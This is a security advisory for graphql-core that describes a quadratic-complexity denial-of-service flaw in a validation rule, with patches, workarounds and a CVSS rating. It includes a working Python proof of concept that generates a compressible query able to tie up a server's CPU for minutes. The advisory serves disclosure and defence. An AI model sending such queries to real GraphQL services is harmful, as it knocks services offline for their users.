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Denial of service via quadratic complexity in the OverlappingFieldsCanBeMerged validation rule

High
Cito published GHSA-vj8h-fx38-h3vc Aug 27, 2026

Package

pip graphql-core (pip)

Affected versions

>= 3.0.0, < 3.2.12
>= 3.3.0a0, < 3.3.0rc1

Patched versions

3.2.12
3.3.0rc1

Description

Summary

The OverlappingFieldsCanBeMerged validation rule can be driven into quadratic — and
in the worst case O(n²·m²) — running time by a small, highly compressible query. A
single 364 KB document can occupy one CPU core for over five minutes during
validation, before any resolver runs. Because the rule is part of specified_rules
and therefore enabled by default, every GraphQL-core based server is affected at
default settings.

Details

OverlappingFieldsCanBeMerged compares every pair of fields that share a response
name and recurses into their sub-selections. The memoization added for
CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) is keyed by named fragment identity, so it
does not cover this path: inline fragments are flattened into the parent selection
set before the cache is consulted, and therefore every pair is re-compared from
scratch at every nesting level.

Repeating an inline fragment that selects the same response name at two nesting
levels multiplies the two effects. There was no comparison budget and no validation
timeout, so the rule ran to completion regardless of cost.

The cost is incurred in the validation phase, which is what makes this hard to
defend against from outside the library: query-depth limiters, complexity analyzers
and cost estimators all operate on the parsed document after validation, and the
malicious document is trivially shallow (depth 3, complexity 1). The payload is also
one short string repeated many times, so it compresses to a few kilobytes and slips
past body-size limits and WAF inspection that only see the compressed request.

Proof of concept

import time
from graphql import build_schema, parse, validate

schema = build_schema(
    "type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)

def gen(n: int, m: int) -> str:
    inner = " ".join(["... on Node { x }"] * m)
    outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
    return f"{{ field {{ {outer} }} }}"

query = gen(200, 100)          # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document)      # returns no errors — it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")

Measured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:

n m query size validation time
20 20 7.6 KB 0.16 s
50 50 46 KB 5.2 s
100 100 182 KB 81 s
200 100 364 KB 319 s

Doubling n at fixed m quadruples the time, as expected for a quadratic outer loop
driving a quadratic inner walk.

Impact

Denial of service. One request pins one worker process for minutes; because CPython
holds the GIL for this pure-CPU work, a handful of concurrent requests can saturate a
typical multi-worker deployment. No authentication is required, and no data is
disclosed or modified.

Patches

Fixed in 3.2.12 and 3.3.0rc1.

Validation now enforces a per-document comparison budget. Once
MAX_FIELD_COMPARISONS (default 250_000) pairwise comparisons have been made, the
rule aborts and reports a GraphQLError instead of running to completion:

Query is too complex to validate for overlapping fields: exceeded 250000 field
comparisons. Validation was aborted.

The default is far above what any realistic query reaches. It is a module-level
constant and can be raised or lowered:

from graphql.validation.rules import overlapping_fields_can_be_merged

overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000

Note the behaviour change: a pathological query that previously validated — slowly —
now produces a validation error.

Workarounds

If you cannot upgrade, reject oversized documents before they reach validate().
Note that a request body-size limit must be applied to the decompressed body to be
effective here, since the payload is highly compressible. Removing
OverlappingFieldsCanBeMergedRule from the rule set is not a safe workaround: it is
a correctness rule required by the specification.

A body-size limit remains worthwhile after upgrading — the comparison budget bounds
this specific rule, not overall request cost.

References

Credits

Reported by @BZHunt, who also reviewed the fixes
before release. In memory of ZaX, who was the driving force behind this discovery.

Independently found and diagnosed by @bcmyguest, who
also proposed a fix.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-75507

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

Credits